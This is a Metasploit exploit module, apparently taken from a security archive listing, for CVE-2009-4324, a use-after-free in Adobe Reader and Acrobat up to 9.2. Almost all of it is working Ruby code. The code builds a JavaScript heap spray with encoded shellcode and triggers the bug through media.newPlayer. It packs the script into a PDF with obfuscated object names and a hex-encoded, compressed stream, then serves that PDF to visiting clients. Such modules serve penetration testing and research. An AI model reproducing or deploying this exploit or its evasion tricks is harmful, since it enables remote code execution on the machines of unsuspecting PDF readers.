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Adobe Doc.media.newPlayer Use After Free Vulnerability

Adobe Doc.media.newPlayer Use After Free Vulnerability
Posted Dec 31, 2009
Authored by H D Moore, Joshua D. Abraham, Pusscat, jduck | Site metasploit.com

This Metasploit module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat Professional versions up to and including 9.2.

tags | exploit
advisories | CVE-2009-4324
SHA-256 | db8a3aadb83130b870e5a70ed5ba3a3aafb3ba7ade242ba5744bcd8251b74f40

Adobe Doc.media.newPlayer Use After Free Vulnerability

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
Professional versions up to and including 9.2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Found in the wild
# Metasploit version by:
'hdm',
'pusscat',
'jduck',
'jabra'
],
'Version' => '$Revision: 7931 $',
'References' =>
[
[ 'CVE', '2009-4324' ],
[ 'BID', '37331' ],
[ 'OSVDB', '60980' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# test results (on Windows XP SP3)
# reader 6.0.1 - vulnerable / doesn't work
# reader 7.0.5 - untested
# reader 7.0.8 - untested
# reader 7.0.9 - vulnerable / doesn't work
# reader 7.1.0 - untested
# reader 7.1.1 - untested
# reader 8.0.0 - untested
# reader 8.1.1 - works
# reader 8.1.2 - untested
# reader 8.1.3 - untested
# reader 8.1.4 - untested
# reader 8.1.5 - untested
# reader 8.1.6 - untested
# reader 9.0.0 - untested
# reader 9.1.0 - works
# reader 9.2 - works (no debugger, no DEP)
[ 'Adobe Reader Windows English (JS Heap Spray)',
{
'Size' => (0x10000/2),
'Ret' => 0x0c0c0c0c
}
],
],
'DisclosureDate' => 'Dec 14 2009',
'DefaultTarget' => 0))
end


def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Make some nops
nops = Rex::Text.to_unescape([target.ret].pack('V'))

# Randomize variables
#
len = 72
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(len/2)
rand5 = rand_text_alpha(len/2)

retstring = Rex::Text.to_unescape(([target.ret].pack('V') * 4) + rand_text_alpha(len-16))

# The printd strings are 72 bytes (??)
script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");

while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);

memory=new Array();

for(i=0;i<0x2000;i++) {
memory[i]= #{rand2} + #{rand1};
}

util.printd("#{rand4}", new Date());
util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(#{rand3}, new Date());
|
# Create the pdf
pdf = make_pdf(script)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })

handler(cli)

end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj" % id
end

def ioRef(id)
"%d 0 R" % id
end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end

def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end

def make_pdf(js)

xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol


pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol

end

end

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